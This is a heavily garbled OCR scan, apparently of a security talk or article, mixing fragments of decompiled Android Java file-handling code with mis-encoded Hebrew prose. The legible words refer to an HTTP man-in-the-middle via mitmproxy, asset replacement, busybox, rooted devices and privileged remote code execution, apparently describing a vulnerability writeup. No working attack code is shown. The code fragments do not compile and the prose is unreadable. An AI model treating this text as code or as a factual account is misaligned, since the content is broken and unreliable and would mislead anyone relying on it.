pris a(String paramstring)
{
File localFilel w File (b, paramString);
File(this.f, paramString);

localFile2, paramString).start();
.h.b ( "

n File(this tFilesDir (), paramString).

, paramString) ;

ocC iELlI]EleE) ;

270 http Mwn IMIXK TIIM ™ X7 DX ,TY 702D NI DX PTIA ,asset 7w DW 72 TIign
XN NVYY QEINYg NN (7wN? mitmproxy DY) 720 HTTP MitM vix'aw |am>d .(jrummyl6.com)

.TW'W busybox-n 7y

[N HTTP MitM - nn"non LYND NTAYAY TAN? Nwyn? [N ,rooted 121 NYP7OXNY (1IN

.(root NNN Y1 nwyn71) Nd>yn'? nixy 717 DNA7 1 privileged j7'90n RCE qpin?
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70% 0am 0-API DIY' WX DNOX'Y N0 NN NINTA KRIT 100N TR MNK |11 7Y
IDnIX 17¥) - Java-2
N0 T NR'MN IR 7Y ¥npnn XY
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.NT NN n'Nivnwn 1l Corruption
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